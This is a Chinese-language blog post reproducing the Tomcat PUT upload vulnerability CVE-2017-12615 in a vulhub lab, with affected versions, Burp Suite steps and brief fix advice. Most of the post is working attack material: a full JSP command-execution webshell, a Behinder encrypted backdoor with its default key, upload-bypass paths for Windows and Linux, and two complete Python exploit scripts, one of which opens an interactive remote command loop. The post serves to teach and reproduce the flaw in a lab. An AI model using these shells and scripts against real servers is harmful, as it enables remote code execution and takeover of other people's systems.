Tomcat的PUT上传漏洞(CVE-2017-12615)复现

admin 2024年3月7日09:03:50评论32 views字数 5636阅读18分47秒阅读模式

(一)漏洞介绍   

1.影响范围

影响Apache Tomcat 7.0.0至7.0.79版本,以及Apache Tomcat 8.5.0至8.5.19版本.

2.漏洞原理

Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致可以使用PUT方法上传任意文件,攻击者将精心构造的payload向服务器上传包含任意代码的 JSP 文件。之后, JSP 文件中的代码将能被服务器执行。

(二)漏洞环境搭建  

1.运行漏洞环境

本次测试使用vulhub漏洞环境,默认情况下已经配置好docker及安装好vulhub。

(1)到CVE-2017-12615漏洞环境

cd /opt/vulhub/tomcat/CVE-2017-12615

(2)启动docker

docker-compose up –d

如果是第一次安装则会下载一些文件,如图1所示。    

Tomcat的PUT上传漏洞(CVE-2017-12615)复现

图1启动docker漏洞环境

2.查看漏洞是否存在

(1)查看dockerid

docker ps //获取dockerid 80c2d7beb4ac

(2)进行docer模拟的环境

docker exec -it 80c2d7beb4ac /bin/bash

cat conf/web.xml | grep readonly

如图2所示,可以看到web.xml中的配置为readonly。

Tomcat的PUT上传漏洞(CVE-2017-12615)复现

图2 查看是否存在配置漏洞

3. Tomcat版本

    在浏览器中访问地址http://192.168.19.134:8080/,获取Tomcat版本为8.5.19,如图3所示。    

Tomcat的PUT上传漏洞(CVE-2017-12615)复现

图3获取Tomcat版本

(三)漏洞复现  

1.浏览器中访问测试地址

在浏览器中输入http://192.168.19.134:8080/,测试存在漏洞的Tomcat服务器是否正常运行,通过Burpsuite获取访问的记录。

2.发送历史记录到Repeater进行重放攻击

在Proxy中选择默认的历史记录,发送到Repeater中,如图4所示,右键单击,选择“Change request method”,在Burpsuite中数据包会自动进行变化,如图5所示。可以变化GET及POST方法。

Tomcat的PUT上传漏洞(CVE-2017-12615)复现    

图4 更改请求的方法

Tomcat的PUT上传漏洞(CVE-2017-12615)复现

图5 变更请求方法

3.修改及构造文件

(1)提交测试内容

如图6所示,修改为“PUT /hacker.txt HTTP/1.1”,在内容部分增加 “hackered by me”,完成后,单击“Send”提交数据包。

Tomcat的PUT上传漏洞(CVE-2017-12615)复现

图6提交测试内容

(2)访问测试内容

在浏览器中输入http://192.168.19.134:8080/hacker.txt,如图7所示,表明可以提交文件成功。    

Tomcat的PUT上传漏洞(CVE-2017-12615)复现

图7提交文件测试成功

4.获取Webshell

(1)修改文件内容

重复前面的步骤,修改“PUT /cmd.jsp/ HTTP/1.1”,并在正文部分加入以下内容:

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp

+"n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("secfree".equals(request.getParameter("password"))&&!"".equals(request.getParameter("command"))){out.println("

"+excuteCmd(request.getParameter("command"))+"

");}else{out.println(":-)");}%>


完成后,其详细情况如图8所示。

Tomcat的PUT上传漏洞(CVE-2017-12615)复现

图8 上传webshell修改包内容    

(2)提交包文件并测试

  浏览器中访问地址,直接获取cmd版本的webshell,如图9所示。

http://192.168.19.134:8080/cmd.jsp?password=secfree&command=whoami

Tomcat的PUT上传漏洞(CVE-2017-12615)复现

图9获取Webshell

5.冰蝎一句话后门获取

  重复前面的步骤,创建12.jsp,如图10所示。内容如下:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

Tomcat的PUT上传漏洞(CVE-2017-12615)复现    

图10 冰蝎后门上传

上传后通过冰蝎链接后门,其密码为rebeyond即可,单击创建的shell记录,如图11所示。

Tomcat的PUT上传漏洞(CVE-2017-12615)复现

图11获取Webshell一句话后门

7.注意事项

CVE-2017-12615漏洞利用时,需要区分Windows及Linux不同操作系统,上传绕过方式不同,默认使用put 加文件名是失败的,需要绕过:

    PUT /shell.jsp%20 //适合Windows操作系统

    PUT /shell.jsp::$DATA

    PUT /shell.jsp/ //适合Linux

8.python脚本获取webshell

(1)方法1

python v1.py http://192.168.19.134:8080/

http://192.168.19.134:8080/1337.jsp?cmd=ls

代码如下:    

# -*- coding: utf-8 -*-
"""
This is a Python script to exploit the Tomcat CVE-2017-12615 vulnerability by creating a web shell.
The script sends an HTTP OPTIONS request to check if the target server is vulnerable and attempts to upload a malicious JSP file to the target server using an HTTP PUT request.
"""

import requests
import sys
import random

payload = """
<%
if ("023".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("
");

while ((a = in.read(b)) != -1) {
out.println(new String(b, 0, a));
}
out.print("
");


}
%>"""

if len(sys.argv) < 2:
print("Usage: python tomcat-cve-2017-12615.py http://127.0.0.1:8080/")
sys.exit()

url = sys.argv[1]
try:
r = requests.options(url=url + '/123')
headers = r.headers
except requests.exceptions.RequestException as e:
print(f"An error occurred: {e}")
sys.exit(1)

if 'PUT' in headers.get('Allow', ''):
filename = f"/{random.randint(666, 666666)}.jsp/"
try:
r = requests.put(url=url + filename, data=payload)
if r.status_code == 201:
print(f"Shell created successfully: {url}{filename[:-1]}")
else:
print("An error occurred during shell creation.")
except requests.exceptions.RequestException as e:
print(f"An error occurred: {e}")
else:
print("The target is not vulnerable to CVE-2017-12615.")

(2)方法2

python v2.py http://192.168.19.134:8080/

http://192.168.19.134:8080/257477.jsp?pwd=023&i=id

代码如下

import requests
import sys
import time
#http://192.168.19.134:8080/1337.jsp?cmd=ls
url_in = sys.argv[1]
payload_url = f"{url_in}/1337.jsp/"
payload_header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
}

def payload_command(command_in):
html_escape_table = {
"&": "&",
'"': """,
"'": "'",
">": ">",
"<": "<",
}
command_filtered = "" + "".join(html_escape_table.get(c, c) for c in command_in) + ""
return command_filtered


def create_command_interface():
payload_init = "<%java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();"
"int a = -1;"
"byte[] b = new byte[2048];"
"while((a=in.read(b))!=-1){out.println(new String(b));}"
"%>"
response = requests.put(payload_url, headers=payload_header, data=payload_init)
time.sleep(5)
payload = {"cmd": "whoami"}
verify_response = requests.get(payload_url[:-1], headers=payload_header, params=payload)
if verify_response.status_code == 200:
return 1
else:
return 0


def do_post(command_in):
payload = {"cmd": command_in}
response = requests.get(payload_url[:-1], params=payload)
print(response.text.strip()) # 输出命令结果的字符部分


if create_command_interface() == 1:
print("Command Page is Injected n n")
else:
print("This host is not vulnerable")
exit()

while True:
command_in = input("Enter your command here: ")
if command_in == "exit":
exit(0)
do_post(command_in)

(四)修复建议  

 1、配置readonly和VirtualDirContext值为True或注释参数,禁止使用PUT方法并重启tomcat

注意:如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。    

2、根据官方补丁升级最新版本

              

原文始发于微信公众号(小兵搞安全):Tomcat的PUT上传漏洞(CVE-2017-12615)复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月7日09:03:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Tomcat的PUT上传漏洞(CVE-2017-12615)复现https://cn-sec.com/archives/2553710.html

发表评论

匿名网友 填写信息